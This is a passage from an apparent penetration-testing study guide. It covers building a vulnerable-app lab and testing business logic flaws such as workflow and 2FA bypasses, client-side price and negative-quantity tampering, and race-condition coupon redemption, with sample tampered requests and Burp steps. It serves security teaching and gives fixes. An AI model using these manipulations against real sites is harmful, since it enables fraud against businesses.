&lt;p&gt;&lt;strong&gt;Low (CVSS 0.1-3.9):&lt;/strong&gt; Address in next maintenance cycle. Real vulnerability but limited direct impact.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log/Info:&lt;/strong&gt; Informational — host/service details, configuration observations. Not vulnerabilities but useful intelligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exporting Reports:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download report via GVM API (for automation)&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--gmp-username&lt;/span&gt; admin &lt;span class="nt"&gt;--gmp-password&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;pass] &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;get_reports report_id='UUID' format_id='c402cc3e-b531-11e1-9163-406186ea4fc5'/&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | xmllint &lt;span class="nt"&gt;--format&lt;/span&gt; - &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; report.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GVM supports multiple report formats: PDF, HTML, XML, CSV. Use XML for programmatic processing and integration with other tools. Use PDF or HTML for client deliverables.&lt;/p&gt;

&lt;h3&gt;
  
  
  Combining Scan Results — The Complete Picture
&lt;/h3&gt;

&lt;p&gt;No single scanner catches everything. Professional web application assessments use multiple tools in combination:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — GVM:&lt;/strong&gt; Comprehensive network and infrastructure vulnerability scanning. Identifies CVE-based vulnerabilities, unpatched software, insecure service configurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 — Nikto:&lt;/strong&gt; Quick web server configuration check. Catches missing security headers, dangerous HTTP methods, exposed admin interfaces, default files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — Nuclei:&lt;/strong&gt; Fast, template-based checks for specific CVEs, exposures, and misconfigurations. Best coverage for recently disclosed vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 4 — Burp Suite (manual):&lt;/strong&gt; Everything the above tools cannot see — business logic, IDOR, authentication bypasses, application-specific vulnerabilities, multi-step attack chains.&lt;/p&gt;

&lt;p&gt;The automated layers give you breadth. The manual layer gives you depth. Together, they approach something close to comprehensive coverage.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— Section 6.1 is complete. Sections 6.2 through 6.13 continue in subsequent documents as instructed. —&lt;/em&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  Module 6 — Sections 6.2, 6.3, and 6.4
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Building your own lab · Business Logic · SQL Injection · Command Injection · LDAP Injection&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;6.2 How to Build Your Own Web Application Lab&lt;/li&gt;
&lt;li&gt;6.3 Understanding Business Logic Flaws&lt;/li&gt;
&lt;li&gt;
6.4 Understanding Injection-Based Vulnerabilities

&lt;ul&gt;
&lt;li&gt;6.4.1 Overview — What Injection Really Means&lt;/li&gt;
&lt;li&gt;6.4.2 SQL Injection Vulnerabilities — The Complete Deep Dive&lt;/li&gt;
&lt;li&gt;6.4.3 Practice — SQL Injection Attacks Step by Step&lt;/li&gt;
&lt;li&gt;6.4.4 Command Injection Vulnerabilities&lt;/li&gt;
&lt;li&gt;6.4.5 Practice — Command Injection Step by Step&lt;/li&gt;
&lt;li&gt;6.4.6 LDAP Injection Vulnerabilities&lt;/li&gt;
&lt;li&gt;6.4.7 Lab — Injection Attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6.2 How to Build Your Own Web Application Lab
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why a Personal Lab Is Not Optional
&lt;/h3&gt;

&lt;p&gt;Reading about SQL injection is one thing. Watching a tutorial is another. Actually opening a terminal, sending a payload, watching the database respond, adjusting the payload, and extracting data — that is where understanding becomes skill. You cannot develop the intuition needed for real web application testing without repetition in a safe environment.&lt;/p&gt;

&lt;p&gt;A personal lab lets you test every technique in this module legally, without risk to real systems, without fear of crossing legal lines, and with the freedom to break things and learn from the failure. The lab is not a luxury — it is the minimum viable environment for serious security learning.&lt;/p&gt;

&lt;p&gt;The good news is that a web application security lab is surprisingly inexpensive and fast to set up. The most powerful approach combines a Linux security distribution with intentionally vulnerable applications. Here is everything you need to know to build a lab that will take you from beginner exercises to advanced exploitation practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Foundation: Choosing Your Operating System
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Kali Linux&lt;/strong&gt; is the industry standard for penetration testing. Maintained by Offensive Security (the organization that created OSCP), Kali is a Debian-based distribution that ships with over 600 pre-installed security tools — Burp Suite, nmap, sqlmap, Metasploit, hydra, aircrack-ng, and hundreds more. You do not need to install or configure these tools individually. They are all available from the command line or the applications menu.&lt;/p&gt;

&lt;p&gt;Options for running Kali:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Virtual Machine (recommended for beginners):&lt;/strong&gt; Download the Kali VM image (VMware or VirtualBox format) from kali.org/get-kali. Import it into VMware Workstation Player (free) or VirtualBox (free). Your host OS (Windows or macOS) remains completely unaffected by anything you do in the VM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bare metal install:&lt;/strong&gt; Installing Kali directly on a dedicated machine gives maximum performance. Good for a dedicated lab machine but not ideal as a primary workstation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WSL2 (Windows Subsystem for Linux):&lt;/strong&gt; Kali is available in the Microsoft Store. Good for command-line tool access but some tools requiring raw network access have limitations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kali Live USB:&lt;/strong&gt; Boot from a USB drive with no installation. Leaves no persistent data. Good for temporary use.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Parrot OS&lt;/strong&gt; is a lighter alternative to Kali. It has the same tool set but uses fewer system resources, making it better suited for older hardware or machines with limited RAM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BlackArch Linux&lt;/strong&gt; is for advanced users — Arch Linux-based with over 2,800 tools available. Steeper learning curve but the most comprehensive tool collection.&lt;/p&gt;

&lt;p&gt;For this module, Kali Linux in a VM is the recommended setup. It is what the labs in the certification curriculum assume, and it is what you will encounter in most learning resources.&lt;/p&gt;

&lt;h3&gt;
  
  
  Intentionally Vulnerable Applications — Your Practice Targets
&lt;/h3&gt;

&lt;p&gt;An intentionally vulnerable application is one built to contain specific security flaws for educational purposes. These are legal to attack because that is exactly what they are designed for. You deploy them in your local lab and attack them without any legal or ethical concern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DVWA — Damn Vulnerable Web Application&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DVWA is the foundational practice target for web application security. Built with PHP and MySQL, it contains a deliberately vulnerable web application with the following vulnerability categories, each configurable to low, medium, or high security level:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brute Force&lt;/li&gt;
&lt;li&gt;Command Injection&lt;/li&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;li&gt;File Inclusion&lt;/li&gt;
&lt;li&gt;File Upload&lt;/li&gt;
&lt;li&gt;Insecure CAPTCHA&lt;/li&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;SQL Injection (Blind)&lt;/li&gt;
&lt;li&gt;Weak Session IDs&lt;/li&gt;
&lt;li&gt;XSS (DOM)&lt;/li&gt;
&lt;li&gt;XSS (Reflected)&lt;/li&gt;
&lt;li&gt;XSS (Stored)&lt;/li&gt;
&lt;li&gt;JavaScript attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The security levels (low/medium/high) make DVWA excellent for progressive learning — start at low with no defenses, understand the attack, then move to medium and high to learn how defenses are implemented and how to bypass them. This reinforces both offensive and defensive understanding simultaneously.&lt;/p&gt;

&lt;p&gt;Installation on Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install DVWA using the official installation script&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; dvwa

&lt;span class="c"&gt;# Start the required services&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start apache2
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start mysql

&lt;span class="c"&gt;# Access DVWA in your browser&lt;/span&gt;
&lt;span class="c"&gt;# http://127.0.0.1/dvwa/&lt;/span&gt;

&lt;span class="c"&gt;# Default credentials: admin / password&lt;/span&gt;
&lt;span class="c"&gt;# First visit: http://127.0.0.1/dvwa/setup.php&lt;/span&gt;
&lt;span class="c"&gt;# Click "Create / Reset Database"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;WebSploit Labs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WebSploit Labs is a more modern, comprehensive collection of vulnerable environments maintained by Omar Santos (author of numerous Cisco Press security books and CCNA CyberOps materials). The platform includes hundreds of vulnerable systems and is regularly updated to reflect current vulnerability classes.&lt;/p&gt;

&lt;p&gt;Access at: &lt;a href="https://websploit.org" rel="noopener noreferrer"&gt;https://websploit.org&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;WebSploit Labs runs as Docker containers, making setup straightforward on any system with Docker installed. Many of the lab exercises in the certification curriculum can be completed using WebSploit Labs targets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metasploitable 2 and 3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Metasploitable is a virtual machine intentionally built with dozens of vulnerabilities at both the network and application layer. Metasploitable 2 is the more widely used version — a Linux VM with a vulnerable web application (Mutillidae), vulnerable network services (FTP, SSH, Telnet, SMB, MySQL, PostgreSQL, VNC, IRC), and deliberately misconfigured services.&lt;/p&gt;

&lt;p&gt;Download from Rapid7 or SourceForge. Import into VMware or VirtualBox and configure on a host-only network adapter (never expose Metasploitable to the internet — it will be compromised within minutes).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HackTheBox (HTB)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HackTheBox is a cloud-based platform with intentionally vulnerable machines and web challenges. It requires no local infrastructure — you connect via VPN to HTB's lab network. The machines range from easy to insane difficulty and reflect real-world attack scenarios much more closely than DVWA. HTB is where you go after building foundational skills on DVWA — it is the bridge between learning and professional-level practice.&lt;/p&gt;

&lt;p&gt;Free tier at: &lt;a href="https://www.hackthebox.com" rel="noopener noreferrer"&gt;https://www.hackthebox.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TryHackMe is even more beginner-friendly than HTB. It offers guided learning paths with browser-based attack machines that require no VPN setup. The web application security rooms on TryHackMe cover SQL injection, XSS, command injection, file inclusion, and more with step-by-step guidance.&lt;/p&gt;

&lt;p&gt;At: &lt;a href="https://tryhackme.com" rel="noopener noreferrer"&gt;https://tryhackme.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PortSwigger Web Security Academy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This deserves special mention. Created by the team behind Burp Suite, the Web Security Academy at &lt;a href="https://portswigger.net/web-security" rel="noopener noreferrer"&gt;https://portswigger.net/web-security&lt;/a&gt; provides free interactive labs for every OWASP vulnerability category. These labs run entirely in the browser. The quality is exceptional — they are the closest thing to professional web application security training available for free. If you only use one external resource alongside your local DVWA lab, make it the Web Security Academy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Docker-Based Lab Setup — The Modern Approach
&lt;/h3&gt;

&lt;p&gt;Docker containers make lab setup and teardown instant. Instead of managing multiple VMs, you run vulnerable applications as isolated containers that start in seconds and can be destroyed without any cleanup.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Docker on Kali&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker.io
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start docker
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;docker
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; docker &lt;span class="nv"&gt;$USER&lt;/span&gt;  &lt;span class="c"&gt;# Add yourself to docker group&lt;/span&gt;
&lt;span class="c"&gt;# Log out and back in for group change to take effect&lt;/span&gt;

&lt;span class="c"&gt;# Run DVWA as a Docker container&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80:80 vulnerables/web-dvwa
&lt;span class="c"&gt;# Access at: http://127.0.0.1/&lt;/span&gt;

&lt;span class="c"&gt;# Run Mutillidae (comprehensive vulnerable web app)&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80:80 webpwnized/mutillidae:2.9.0-LAMP

&lt;span class="c"&gt;# Run OWASP Juice Shop (modern Node.js vulnerable app, great for learning)&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 bkimminich/juice-shop
&lt;span class="c"&gt;# Access at: http://127.0.0.1:3000&lt;/span&gt;

&lt;span class="c"&gt;# Run WebGoat (OWASP's Java-based vulnerable app)&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:8080 webgoat/goat-and-wolf

&lt;span class="c"&gt;# Run a deliberately vulnerable API (for API testing practice)&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 5000:5000 erev0s/vampi

&lt;span class="c"&gt;# Stop and remove a container when done&lt;/span&gt;
docker ps           &lt;span class="c"&gt;# List running containers&lt;/span&gt;
docker stop &amp;lt;container_id&amp;gt;
docker &lt;span class="nb"&gt;rm&lt;/span&gt; &amp;lt;container_id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Recommended Lab Architecture
&lt;/h3&gt;

&lt;p&gt;Your complete lab should look like this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Host Machine (your physical computer):&lt;/strong&gt;&lt;br&gt;
Running VMware Workstation Player or VirtualBox. This hosts your VMs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VM 1 — Kali Linux (attack machine):&lt;/strong&gt;&lt;br&gt;
Your primary working environment. All security tools pre-installed. This is where you run Burp Suite, sqlmap, nmap, and everything else.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VM 2 — Vulnerable Target (or Docker containers):&lt;/strong&gt;&lt;br&gt;
Run DVWA, Metasploitable, or Docker containers here. This is what you attack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Network Configuration:&lt;/strong&gt;&lt;br&gt;
Both VMs should be on a Host-Only network adapter. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The VMs can communicate with each other&lt;/li&gt;
&lt;li&gt;The VMs can communicate with the host&lt;/li&gt;
&lt;li&gt;Neither VM can reach the internet (protecting you from accidentally attacking external systems and protecting Metasploitable from being attacked externally)
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VMware/VirtualBox Network Settings:
- Kali VM: Host-Only Adapter (e.g., 192.168.56.101)
- Target VM: Host-Only Adapter (e.g., 192.168.56.102)
- Both VMs can ping each other
- Neither can access the internet through this adapter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Burp Suite — Your Primary Web Testing Tool
&lt;/h3&gt;

&lt;p&gt;Burp Suite Community Edition is pre-installed on Kali. Configure it as an intercepting proxy between your browser and your vulnerable application target, and every HTTP request passes through Burp where you can read, modify, and replay it.&lt;/p&gt;

&lt;p&gt;Quick setup:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Launch Burp Suite from Kali's applications menu or &lt;code&gt;burpsuite&lt;/code&gt; in terminal&lt;/li&gt;
&lt;li&gt;In Burp: Proxy → Options → confirm listener is &lt;code&gt;127.0.0.1:8080&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;In Firefox on Kali: Settings → Network Settings → Manual Proxy → HTTP Proxy: &lt;code&gt;127.0.0.1&lt;/code&gt;, Port: &lt;code&gt;8080&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Navigate to your vulnerable application — all traffic now flows through Burp&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Install the FoxyProxy Firefox extension for easy proxy switching between testing and normal browsing.&lt;/p&gt;


&lt;h2&gt;
  
  
  6.3 Understanding Business Logic Flaws
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Vulnerability That Scanners Cannot See
&lt;/h3&gt;

&lt;p&gt;Here is a question to test your understanding: What do all of the following scenarios have in common?&lt;/p&gt;

&lt;p&gt;A user on an e-commerce site adds $200 worth of items to their cart, applies a "get 20% off orders over $150" discount code, removes $100 worth of items, and checks out — paying $100 minus the 20% discount, despite their cart being worth far less than $150.&lt;/p&gt;

&lt;p&gt;A user on a banking application initiates a funds transfer, but instead of following step 1 → 2 → 3 → confirm, they navigate directly from step 1 to step 3's URL. No verification step. Transfer proceeds.&lt;/p&gt;

&lt;p&gt;A user registers for a free 30-day trial, creates an account, cancels, creates a new account with a different email, gets another 30-day trial, and repeats indefinitely.&lt;/p&gt;

&lt;p&gt;What these share: none of them involve a coding error in the traditional sense. No SQL query was improperly parameterized. No XSS payload was needed. No buffer was overflowed. The code works exactly as it was written. The flaw is in the &lt;strong&gt;design&lt;/strong&gt; — specifically, the business rules that the developer assumed users would follow but that a creative attacker can circumvent.&lt;/p&gt;

&lt;p&gt;These are business logic flaws. And they are the most dangerous category of web vulnerability to miss, because automated scanners cannot find them. A scanner can identify that a parameter is not properly sanitized. It cannot know that removing an item from a cart after applying a discount should re-validate the discount threshold, because that requires understanding the business rule being enforced.&lt;/p&gt;
&lt;h3&gt;
  
  
  What Business Logic Flaws Are — The Precise Definition
&lt;/h3&gt;

&lt;p&gt;MITRE's Common Weakness Enumeration classifies business logic errors under &lt;strong&gt;CWE-840&lt;/strong&gt; with subordinate categories including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CWE-841&lt;/strong&gt; — Improper Enforcement of Behavioral Workflow&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CWE-438&lt;/strong&gt; — Behavioral Change in New Version or Environment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CWE-639&lt;/strong&gt; — Authorization Bypass Through User-Controlled Key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OWASP defines a business logic vulnerability as: a flaw in the design or implementation of an application that allows an attacker to elicit unintended behavior from a legitimate feature. The attacker is not using a technical exploit — they are using the application as intended, just in a way the designer did not anticipate.&lt;/p&gt;

&lt;p&gt;The key characteristics that distinguish business logic flaws from technical vulnerabilities:&lt;/p&gt;

&lt;p&gt;They require understanding the application's &lt;strong&gt;purpose and rules&lt;/strong&gt;, not just its technical implementation. A SQL injection payload is the same regardless of what the application does. A business logic attack is entirely specific to that application's specific workflow and rules.&lt;/p&gt;

&lt;p&gt;They often involve &lt;strong&gt;correct behavior at each individual step&lt;/strong&gt; but incorrect behavior across the sequence. Each step validates correctly. The flaw is in the assumption that steps happen in the expected order or with expected preconditions.&lt;/p&gt;

&lt;p&gt;They almost always require &lt;strong&gt;manual testing by a tester who understands the application's purpose&lt;/strong&gt;. Automated tools that operate on requests and responses in isolation cannot model multi-step workflows.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Business Logic Testing Mindset
&lt;/h3&gt;

&lt;p&gt;Before looking at specific attack patterns, you need to internalize the mindset that finds business logic flaws. When you approach any application feature, ask these questions:&lt;/p&gt;

&lt;p&gt;What is this feature supposed to do, and what assumptions does the developer make about how users interact with it?&lt;/p&gt;

&lt;p&gt;What happens if I use this feature in an order the developer did not intend — skipping steps, repeating steps, doing step 5 before step 2?&lt;/p&gt;

&lt;p&gt;What happens if I provide values at the extreme boundaries of what is logically expected — negative numbers, zero, absurdly large numbers, empty values?&lt;/p&gt;

&lt;p&gt;What happens if I complete step 1 as User A and step 2 as User B?&lt;/p&gt;

&lt;p&gt;What happens if I do two things simultaneously that are supposed to happen sequentially?&lt;/p&gt;

&lt;p&gt;What client-side restrictions are there, and what happens when I remove them?&lt;/p&gt;

&lt;p&gt;The PortSwigger Web Security Academy's description is excellent: "Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application."&lt;/p&gt;
&lt;h3&gt;
  
  
  Category 1 — Workflow Bypasses
&lt;/h3&gt;

&lt;p&gt;Workflow vulnerabilities occur when an application enforces a required sequence of steps in the user interface but does not enforce that same sequence server-side. The UI hides the "next" button until you complete the current step. But the next step's URL is accessible directly, and the server does not check whether the prerequisite step was completed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Classic example — Bypassing email verification:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A registration flow requires:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Register with email and password → account created but inactive&lt;/li&gt;
&lt;li&gt;Receive verification email → click link&lt;/li&gt;
&lt;li&gt;Account activated → can now log in&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the developer only blocks login based on a &lt;code&gt;verified&lt;/code&gt; flag in the database, but the verification endpoint at &lt;code&gt;/verify-email?token=XYZ&lt;/code&gt; can be guessed or brute-forced, or if step 2 can be replaced by directly navigating to the post-verification dashboard, the entire verification step is meaningless.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing approach:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During any multi-step flow — registration, checkout, password reset, document signing, approval workflows — map every URL and endpoint involved in each step. After completing step 1, attempt to navigate directly to step 3's URL without completing step 2. Observe:&lt;/p&gt;

&lt;p&gt;Does the server redirect you back to step 2 (correct behavior — server-side state enforcement)?&lt;/p&gt;

&lt;p&gt;Does the server serve step 3's content directly (vulnerable — no server-side sequence enforcement)?&lt;/p&gt;

&lt;p&gt;In Burp Suite's Proxy HTTP history, you can see all requests made during a legitimate walkthrough of the flow. Note which endpoints correspond to which steps. Then in Repeater, replay step 3's request without first completing step 2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world case — 2FA bypass:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A login flow with two-factor authentication:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Submit username and password → server validates credentials → redirects to MFA page&lt;/li&gt;
&lt;li&gt;Submit MFA code → server validates → grants session&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If after step 1 the server sets a session that indicates "credentials validated, awaiting MFA" but the user can navigate directly to the post-login dashboard URL and the server grants access based only on the first-factor session — the MFA step is bypassed entirely. This has been found in production applications and is documented in the PortSwigger Web Security Academy's business logic labs.&lt;/p&gt;
&lt;h3&gt;
  
  
  Category 2 — Price Manipulation and E-Commerce Logic Flaws
&lt;/h3&gt;

&lt;p&gt;The financial consequences of e-commerce business logic flaws are often immediate and quantifiable. These vulnerabilities are particularly common because financial systems are complex, involve many interacting components (cart, pricing engine, discount system, inventory), and are often built by teams under deadline pressure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discount threshold manipulation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The classic example: "10% off orders over $100." Implementation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Add items until cart total exceeds $100&lt;/li&gt;
&lt;li&gt;Apply discount code — system validates cart &amp;gt; $100, applies 10% discount&lt;/li&gt;
&lt;li&gt;Remove items from cart, reducing total to $30&lt;/li&gt;
&lt;li&gt;Checkout — if the system does not re-validate the discount condition at checkout, you receive 10% off a $30 cart&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The correct implementation re-validates all discount conditions at the final checkout step, not just at the point of application. The vulnerable implementation only validates at application time and trusts the stored discount state thereafter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing approach:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In Burp, intercept the request at each step of the checkout flow. Specifically after applying a discount, modify the cart contents and monitor whether the discount is recalculated or retained. Send the final checkout request with values that contradict the applied discount conditions and observe whether the server re-validates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Negative quantity:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An application that accepts quantity as a user-submitted value without proper server-side validation may accept negative quantities. A shopping cart with -1 units of a $100 item might calculate a total of -$100, which when combined with actual positive purchases could reduce the total to near-zero or even result in a credit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Normal request
POST /cart/update
item_id=789&amp;amp;quantity=1

# Manipulated request (intercept in Burp and modify)
POST /cart/update
item_id=789&amp;amp;quantity=-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is always the same: validate quantity as a positive integer server-side. Never trust client-submitted numeric values without range validation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Client-side price manipulation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some applications send item prices from the client during add-to-cart operations rather than looking them up server-side. The client submits the price to pay, and the server trusts it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Normal add-to-cart request
POST /cart/add
item_id=456&amp;amp;price=99.99&amp;amp;quantity=1

# Manipulated request (Burp Intercept → modify price field)
POST /cart/add
item_id=456&amp;amp;price=0.01&amp;amp;quantity=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the server uses the client-submitted price rather than looking up the price from its own database, this results in purchasing at the attacker-specified price. This type of flaw is shockingly common in poorly implemented e-commerce applications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The golden rule this violates:&lt;/strong&gt; Never trust any value from the client for financial calculations. Always look up prices server-side from a trusted data source at the time of purchase calculation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Category 3 — Race Conditions
&lt;/h3&gt;

&lt;p&gt;Race conditions are among the most technically interesting business logic vulnerabilities. They exploit the timing gap between when the application reads a state, makes a decision based on that state, and writes back the updated state.&lt;/p&gt;

&lt;p&gt;The vulnerability arises when:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Application reads state ("Is this coupon code still valid? Has it been used?")&lt;/li&gt;
&lt;li&gt;Application determines it is valid and proceeds&lt;/li&gt;
&lt;li&gt;Application uses the coupon and marks it as used&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Between steps 2 and 3, if another identical request arrives simultaneously, that second request also reads the state before step 3 has updated it. Both requests see the coupon as unused. Both requests proceed. One coupon is redeemed twice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The PortSwigger example (documented in their Web Security Academy):&lt;/strong&gt;&lt;br&gt;
A gift card system allows single-use redemption. An attacker writes a script that sends 50 simultaneous redemption requests for the same gift card code. For each request, before any of them complete and update the "redeemed" flag, the check returns "not yet redeemed." All 50 requests proceed. The balance is applied 50 times.&lt;/p&gt;

&lt;p&gt;Burp Suite has built-in support for testing race conditions through its "Send group in parallel" feature in Repeater. This sends multiple requests simultaneously, maximizing the overlap in timing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In Burp Suite Repeater:
1. Create your single redemption request
2. Right-click → "Send to Repeater" 20 times
3. Select all tabs
4. Right-click → "Send group in parallel (last-byte sync)"
5. All 20 requests fire simultaneously
6. Observe how many succeed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Documented real examples: the CVE-2024-58248 (gift card double-spending via race condition), numerous cryptocurrency exchange double-spend vulnerabilities, banking application balance manipulation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defenses against race conditions:&lt;/strong&gt;&lt;br&gt;
Database-level locking (SELECT FOR UPDATE, atomic operations, transactions with isolation level SERIALIZABLE), Redis-based distributed locks, or comparing-and-swapping state values atomically. Idempotency keys for financial operations ensure the same operation cannot be processed twice regardless of timing.&lt;/p&gt;
&lt;h3&gt;
  
  
  Category 4 — Unverified Ownership
